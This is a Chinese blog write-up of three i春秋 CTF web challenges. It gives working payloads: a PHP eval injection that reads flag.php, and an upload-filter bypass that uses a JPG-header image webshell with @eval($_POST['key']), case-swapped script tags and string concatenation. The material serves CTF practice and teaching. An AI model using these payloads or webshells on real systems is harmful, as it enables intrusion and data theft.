i春秋CTF-WEB题解(一)

2023-10-26

简述

        这次转到了i春秋平台上面练习,和之前一样也是每3道题目就写一篇题解来作为记录。

一、爆破-1(百度杯CTF比赛 2017 二月场)

在这里插入图片描述

        题目给的提示是:flag就在某六位变量中,打开题目的链接,能得到一段PHP代码。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

大致代码解析如下:
引入包含"flag.php"
从请求的变量hello中取值并赋值到变量a中
对变量a的值做一个正则匹配,只允许传入正常的一些字母和数字。
然后会打印出$a。这里说明a的值需要是一个变量名才行。
结合题目的提示,应该flag是在一个变量的值,需要我们传入对应的变量名然后打印出来。

        从上面的代码分析,我们知道了现在需要的就是猜出flag所在的变量名。虽然题目叫做爆破-1但是通过爆破的方式肯定不现实的。因为这需要遍历36的6次方。所以我们先尝试输入写内容,看看实际的返回。

(1)随便输入一个?hello=123,可以看到页面没变化,这时因为没有123这个变量
(2)看代码我们知道肯定有个a变量,输入?hello=a,看到打印出string(1) "a"
(3)其实说到PHP的变量,我们很容易就能联想到全局变量,因为这个名字是固定的
输入?hello=GLOBALS,能看到打印出全局变量,其中就有flag。

在这里插入图片描述

二、爆破-2(百度杯CTF比赛 2017 二月场)

在这里插入图片描述

        题目提示flag不在变量中,打开题目链接,也是一段PHP代码。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

大致代码解析如下:
引入包含"flag.php"
从请求的变量hello中取值并赋值到变量a中
然后回执行打印a变量
可以看到这个和之前的区别在于之前是$$a,现在是$a
有一定代码审计基础的,都很容易能看出来这里存在一个注入的点。
可以通过$a闭合前面的执行语句,然后加入我们想要执行的代码。
现在我们需要构造相关参数来闭合前面的括号,执行我们传入的代码。
搜先输入 1); 闭合前面的括号,输入 var_dump(1 闭合后面的内容 
中间输入我们自己的代码 show_source("flag.php")
拼接起来 ?hello=1);show_source("flag.php");var_dump(1
就能看到在页面中展示了flag.php的文档内容

在这里插入图片描述

三、Upload(百度杯CTF比赛 九月场)

在这里插入图片描述

        看题目名字应该是一道文件上传的题目,提示中有写flag在flag.php中。打开题目地址就是个文件上传的页面。

在这里插入图片描述
        首先上传一张普通的图片,看一下有什么返回。

在这里插入图片描述
        可以看到普通的jpg格式图片是可以上传的,上传成功后会返回提示和一个链接,/u/logo.jpg。看回显的链接可以看到是将我们上传的内容放到了/u/目录下,名字也是没有另外随机命名的。尝试一下上传PHP的一句话木马。

在这里插入图片描述
        上传一句话木马的时候没有回显文件上传成功,证明被拦截了。一般文件上传题,需要注意的是上面这几点:1)文件名后缀 2)文件类型 3)文件头 4)文件内容。我们一个个改。

首先将文件名改为web_shell.jpg,没有显示文件上传成功。
然后将Contetn-Type改为image/jpeg,没有显示文件上传成功。
然后在重新制作一个图片马,在前面加入jpg的文件头
JPGFF D8 FF E0 00 10 4A 46 49 46 0D 0A
然后发现上传成功了。

在这里插入图片描述

但是在访问的时候,页面返回ÿØÿàJFIF @eval($_POST['key']);?>
可以很清楚看到少了 <?php ,应该是被过滤了
然后一句话改成<script language="php"> @eval($_POST['key']); </script>
然后访问页面查看源代码的时候,发现php被过滤了,然后将php改成PhP大小写绕过。
访问的时候可以看到文件内容没有返回,我们传入的内容应该是别当作php来执行了。
但是尝试?key=phpinfo()的时候,确没有返回phpinfo()页面。
我们尝试直接在上传的文件中写入读取flag.php的相关代码。

??JFIF
<script language="Php">
$a = "../flag.p";
$b = "hp";
file_get_contents($a.$b);
</script>
使用字符拼接的方式来绕过php的过滤,访问页面看到也是没直接回显。
但是右键查看源代码可以看到flag。

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

i春秋CTF-WEB题解(一) 的相关文章

  • 无线网络几种攻击方式

    Evil Twin Attack 双面恶魔攻击 攻击者使用相同的SSID创建一个欺诈性接入点 因为与受害者常用SSID名称一样 并且具有更强的型号 因此可以轻易欺骗受害者与之连接 建立连接后 攻击者可以替换网页 比如亚马逊付费界面替换成攻击
  • S-DES

    S DES即simplifed DES S DES算法的输入是一个8位的明文或者密文组和一个10位的密钥 输出是一个8位的密文或者明文组 以下是S DES所需的几个置换表 P10 3 5 2 7 4 10 1 9 8 6 P8 6 3 7
  • sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第六关Less-6)

  • 恶意代码防范技术原理-恶意代码概述

    一 恶意代码定义与分类 恶意代码 Malicious Code 是一种违背目标系统安全策略的程序代码 会造成目标系统信息泄露 资源滥用 破坏系统的完整性及可用性 它能够经过存储介质或网络进行传播 从一台计算机系统传到另外一台计算机系统 未经
  • SQLMAP 脱库过程(post请求,三种方法)

    一 准备工作 1 sqlmap为python语言开发 因此需要具备python环境 2 python环境搭建及sqlmap下载 可参考其他文章 很多也很全 这个不是本文重点 因此略过 二 环境搭建 1 本人使用的是Mac windows7虚
  • 信息隐藏——DCT隐写

    DCT隐写 实验目的 了解DCT的系数隐写 实验内容 Jepg 压缩算法的回顾 用MATLAB实现图像DCT相关操作 完成基于图像DCT的信息隐藏实验 两点法的嵌入和提取 三点法的嵌入和提取 1 Jpeg压缩算法 一 色彩空间转换 RGB空
  • 等保测评--通信网络安全测评要求

    信息安全等级保护 是对信息和信息载体按照重要性等级分级别进行保护的一种工作 在中国 美国等很多国家都存在的一种信息安全领域的工作 在中国 信息安全等级保护广义上为涉及到该工作的标准 产品 系统 信息等均依据等级保护思想的安全工作 狭义上一般
  • BUUCTF题目N1BOOK部分wp(持续更新)

    第九章 CTF之MISC章 两个部分的flag 附件 stego png 隐写了一个zip文件 zip文件里面是 2 jpg stego png 2 jpg stego png 用 StegSolve Data Extract BGR LS
  • 黑客一般是如何入侵电脑的?

    1 无论什么站 无论什么语言 我要渗透 第一件事就是扫目录 最好一下扫出个上传点 直接上传 shell 诸位不要笑 有时候你花很久搞一个站 最后发现有个现成的上传点 而且很容易猜到 不过这种情况发生在 asp 居多 2 asp aspx M
  • sqli-labs:less-11/12 简单SQL注入和身份验证漏洞综合

    这两个靶场是一样的题 我就拿less 12说事了吧 首先 尝试胡乱输入密码进行测试 发现存在报错 这时用admin和admin这个正确的账号密码进行测试 1 10前面的题目告诉了 发现有着正确的提示 但是还不够 我们尝试在username后
  • 文件上传漏洞upload-libs pass13

    文件上传漏洞upload libs pass13 查看源代码 发现是POST 00截断 Burp抓包 Ctrl R 如图修改上传路径 在上传路径中将 的hex改为00 即 Go 成功 发现文件路径 测试一下 成功
  • 常见挖矿病毒处理方法(qW3xT/Ddgs.3011/S01wipefs/acpidtd/MSFC)

    常见挖矿病毒处理方法 1 常见病毒 病毒名称 qW3xT 现象 占用超高CPU 进程查杀之后自启动 中毒案例 2 病毒名称 Ddgs 3011 现象 占用超高CPU 进程查杀之后自启动 中毒案例 3 病毒名称 S01wipefs 现象 占用
  • 【如何处理信息收集时子域名爆破泛解析的问题】

    如何处理信息收集时子域名爆破泛解析的问题 子域名泛解析的成因 泛域名解析举例 子域名爆破中解决泛解析的方式 推荐工具 子域名泛解析的成因 在子域名解析中 每个子域名都会解析为一个特定的IP地址 只有被设置解析 用户才能正常进行访问 一旦用户
  • 密码学概述

    一 密码学的起源与发展 密码学英文名称为Cryptography 密码学最为一门学科 是最近几十年开始迅速被人们重视和发展起来的 密码学往往与信息安全四个字精密的联系着 最早的密码学的 始祖 可以说是早在公元前几百年就已经出现了 当然 当时
  • pikachu靶场记录之暴力破解-包括带token的密码猜解

    说明 pikachu是一个免费的php靶场 类似于dvwa 从github下载对应的项目 解压缩并放到phpstudy的www目录下即可 在phpstudy软件中开启apache mysql 访问首页 192 168 10 150 pika
  • 《Python 黑帽子》学习笔记 - 准备 - Day 1

    信息安全是一个有意思的方向 也是自己的爱好 从零开始 想在工作之余把这个爱好培养为自己的技术能力 而 web 安全相对来说容易入门些 于是选择 web 渗透测试作为学习的起点 并选择同样是容易入门的 Python 作为编程工具 潜心学习 持
  • 信息安全中常用术语介绍

    转自 https www hi linux com posts 56503 html 我们在一些重大的安全事件发生后 经常会在相关新闻或文档中看到一些相关的安全术语 比如 VUL CVE Exp PoC 等 今天我们就来对这些常用术语的具体
  • ctfshow web7

    文章目录 题目分析 解题过程 题目分析 打开题目后 有三个文章 随便点一个之后发现网址上有个后缀 id 2 应该是get传参的注入了 在后缀上加 id 1 1 显示全部文章 可能是整形注入 还是盲注 他这个过滤了空格 用 代替 详见web6
  • 2024 信息安全专业毕业设计(论文)选题合集 最新版

    目录 前言 信息安全选题 选题迷茫 选题的重要性 更多选题指导 最后 前言 大四是整个大学期间最忙碌的时光 一边要忙着备考或实习为毕业后面临的就业升学做准备 一边要为毕业设计耗费大量精力 近几年各个学校要求的毕设项目越来越难 有不少课题是研
  • 安全行业招聘信息汇总

    1 阿里巴巴 淘天集团 安全部 社招岗位 Java开发 招聘层级 P5 P6 工作年限 本科毕业1 3年 硕士毕业1 2年 base地点 杭州 职位描述 负责淘天安全部风控基础标签平台0到1能力建设及产品规划和落地 负责标签应用的产品沉淀和

随机推荐

  • Vue框架学习一

    1 Vue初体验 Vue 读音 vju 类似于 view 是一套用于构建用户界面的渐进式框架 与其它大型框架不同的是 Vue 被设计为可以自底向上逐层应用 Vue 的核心库只关注视图层 不仅易于上手 还便于与第三方库或既有项目整合 另一方面
  • WebGL three.js学习笔记 使用粒子系统模拟时空隧道(虫洞)

    WebGL three js学习笔记 使用粒子系统模拟时空隧道 本例的运行结果如图 时空隧道demo演示 Demo地址 https nsytsqdtn github io demo sprite tunnel three js的粒子系统 t
  • 一文彻底搞懂前端实现文件预览(word、excel、pdf、ppt、mp4、图片、文本)

    作者 竹业 https juejin cn post 7071598747519549454 前言 因为业务需要 很多文件需要在前端实现预览 今天就来了解一下吧 Demo地址 1 https zhuye1993 github io file
  • Linux系统查看文件的命令及作用详解

    在Linux系统中 查看文件的命令常用的有五个 分别是 find命令 locate命令 whereis命令 which命令及type命令 接下来通过这篇文章为大家详细介绍一下这五个命令 Linux查看文件的五种命令 1 find find是
  • OLED屏幕对比LCD为什么更加省电?

    OLED显示技术与传统的LCD显示方式不同 无需背光灯 采用非常薄的有机材料涂层和玻璃基板 当有电流通过时 这些有机材料就会发光 而且OLED显示屏幕可以做得更轻更薄 可视角度更大 并且能够显著节省电能 OLED的特性是自己发光 不像TFT
  • Windows Docker 端口占用错误解决

    Windows Docker 端口占用错误解决 错误来源 Error invoking remote method docker start container Error HTTP code 500 server error Ports
  • 微信小程序-配置请求域名合法的问题以及豆瓣api问题

    一 配置请求域名合法的问题 在哪里找到配置request合法域名 1 进入在微信公众平台官网首页 mp weixin qq com 微信公众平台 小程序 首页 2 右下角设置 3 开发设置 里面有AppID和服务器域名 二 豆瓣api问题
  • Windows系统缺失ieframe.dll文件如何解决?

    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题 如果是新手第一时间会认为是软件或游戏出错了 其实并不是这样 其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库 这时你可以下载这个ieframe
  • BOOST升压电路参数计算

    BOOST电路的参数计算主要包括占空比D 电感值L 电容值C 假设1 电感的电流工作在连续的状态并忽略电感的阻值 假设2 电路工作在稳定的状态 1 计算占空比D 电路稳定时 电感满足 伏秒值相等的原则 占空比D 导通状态 截止状态 考虑二极
  • Django by Example·第二章

    Django by Example 第二章 Enhancing Your Blog with Advanced Features 为博客系统添加高级功能 笔记 这本书的结构确实很不错 如果能够坚持看下去 那么Django框架的各种用法也就掌
  • Linux的Web服务器配置

    准备工作 1 准备两台虚拟机 CentOS 一台作为服务器 一台作为客户机 选择仅主机模式进行连接 2 检查是否安装好了httpd rpm q httpd 3 如果没有安装好 安装步骤 cd run media root CentOS 7
  • 【大数据】基于 Flink CDC 高效构建入湖通道

    基于 Flink CDC 高效构建入湖通道 1 Flink CDC 核心技术解析 2 CDC 数据入湖入仓的挑战 2 1 CDC 数据入湖架构 2 2 CDC 数据 ETL 架构 3 基于 Flink CDC 的入湖入仓方案 3 1 Fli
  • bigquery使用教程_如何使用Python和Google BigQuery构建机器人以自动执行您的笨拙任务...

    bigquery使用教程 Do you have repetitive tasks Something that you do regularly every week or even every day Reporting might b
  • 简谈高防CDN

    高防CDN即内容分流网络流量防御 原理就是构建在网络之上的内容分发网络 依靠部署在各地的边缘服务器 通过中心平台的负载均衡 内容分发 调度等功能模块 使用户就近获取所需内容 而不用直接访问网站源服务器 其原理简单的说就是架设多个高防CDN节
  • 2023年03月 C/C++(一级)真题解析#中国电子学会#全国青少年软件编程等级考试

    C C 编程 1 8级 全部真题 点这里 第1题 字符长方形 给定一个字符 用它构造一个长为4个字符 宽为3个字符的长方形 可以参考样例输出 时间限制 1000 内存限制 65536 输入 输入只有一行 包含一个字符 输出 该字符构成的长方
  • 轻松记住大端小端的含义(附对大端和小端的解释)

    或许你曾经仔细了解过什么是大端小端 也动手编写了测试手头上的机器上是大端还是小端的程序 甚至还编写了大端小端转换程序 但过了一段时间之后 当你再看到大端和小端这两个字眼 你的脑中很快浮起了自己曾经做过的工作 却总是想不起究竟哪种是大端 哪种
  • Navicat连接不上sqlserver问题解决(2008R2)

    Navicat连接不上sqlserver问题解决 一 连接SQL Server时出错 未发现数据源名称并且未指定默认驱动程序 1 安装支持文件 因为没有安装连接支持文件 本身navicat其实是支持SQL server的连接的 只不过是因为
  • 目标分割、目标识别、目标检测和目标跟踪的区别

    前些天发现了一个巨牛的人工智能学习网站 通俗易懂 风趣幽默 https www cbedai net linuxcore 1 目标分割 任务是把目标对应的部分分割出来 2 目标检测 检测到图片当中的目标的具体位置 3 目标识别 即是在所有的
  • 选择排序(Selection Sort)-- 初级排序算法

    1 选择排序 Selection Sort 选择排序 Selection sort 是一种简单直观的排序算法 它的工作原理 首先在未排序序列中找到最小 大 元素 存放到排序序列的起始位置 然后 再从剩余未排序元素中继续寻找最小 大 元素 然
  • i春秋CTF-WEB题解(一)

    简述 这次转到了i春秋平台上面练习 和之前一样也是每3道题目就写一篇题解来作为记录 一 爆破 1 百度杯CTF比赛 2017 二月场 题目给的提示是 flag就在某六位变量中 打开题目的链接 能得到一段PHP代码 大致代码解析如下 引入包含